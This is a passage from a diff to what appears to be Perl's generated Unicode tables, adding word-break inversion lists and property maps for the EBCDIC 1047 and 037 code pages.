+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1B000,
+	0x1B001,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	WB_Other = 0,
+	WB_ALetter = 1,
+	WB_CR = 2,
+	WB_Double_Quote = 3,
+	WB_E_Base = 4,
+	WB_E_Base_GAZ = 5,
+	WB_E_Modifier = 6,
+	WB_Extend = 7,
+	WB_ExtendNumLet = 8,
+	WB_Format = 9,
+	WB_Glue_After_Zwj = 10,
+	WB_Hebrew_Letter = 11,
+	WB_Katakana = 12,
+	WB_LF = 13,
+	WB_MidLetter = 14,
+	WB_MidNum = 15,
+	WB_MidNumLet = 16,
+	WB_Newline = 17,
+	WB_Numeric = 18,
+	WB_Perl_Tailored_HSpace = 19,
+	WB_Regional_Indicator = 20,
+	WB_Single_Quote = 21,
+	WB_ZWJ = 22,
+	WB_EDGE = 23,
+	WB_UNKNOWN = 24
+} WB_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 1047 */
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_Newline,
+	WB_CR,
+	WB_Other,
+	WB_LF,
+	WB_Other,
+	WB_Newline,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidLetter,
+	WB_Other,
+	WB_Single_Quote,
+	WB_Other,
+	WB_Double_Quote,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidLetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Format,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_MidNum,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_MidLetter,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_Hebrew_Letter,
 	WB_Other,
 	WB_Hebrew_Letter,
@@ -20228,6 +86973,8 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Format,
 	WB_Extend,
@@ -20276,6 +87023,8 @@
 	WB_Numeric,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
 	WB_ALetter,
@@ -20341,6 +87090,7 @@
 	WB_Numeric,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_Extend,
 	WB_Other,
@@ -20473,7 +87223,7 @@
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
-	WB_Other,
+	WB_Extend,
 	WB_ALetter,
 	WB_Extend,
 	WB_Other,
@@ -20737,7 +87487,6 @@
 	WB_ALetter,
 	WB_Extend,
 	WB_ALetter,
-	WB_Other,
 	WB_Extend,
 	WB_Other,
 	WB_ALetter,
@@ -20848,8 +87597,16 @@
 	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
 	WB_E_Base,
 	WB_Other,
 	WB_Glue_After_Zwj,
@@ -20951,57 +87708,324 @@
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_Extend,
 	WB_ALetter,
 	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
 	WB_Extend,
+	WB_Other,
 	WB_ALetter,
 	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Other,
 	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Numeric,
 	WB_Other,
 	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
 	WB_Numeric,
 	WB_Other,
 	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_Numeric,
+	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Hebrew_Letter,
 	WB_Extend,
+	WB_Hebrew_Letter,
 	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
+	WB_MidNum,
 	WB_Other,
+	WB_MidLetter,
+	WB_MidNum,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_MidNum,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_MidLetter,
+	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidLetter,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
 	WB_Extend,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Numeric,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
 	WB_Numeric,
 	WB_Other,
+	WB_Extend,
 	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_Format,
+	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_Extend,
 	WB_ALetter,
 	WB_Extend,
@@ -21008,58 +88032,3332 @@
 	WB_Other,
 	WB_Numeric,
 	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
 	WB_Other,
 	WB_Extend,
 	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
 	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_Numeric,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
 	WB_Numeric,
 	WB_Other,
 	WB_ALetter,
+	WB_Numeric,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Regional_Indicator,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Modifier,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base_GAZ,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_WB_invlist[] = { /* for EBCDIC 037 */
+	1740,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x51,
+	0x5A,
+	0x5E,
+	0x5F,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x300,
+	0x370,
+	0x375,
+	0x376,
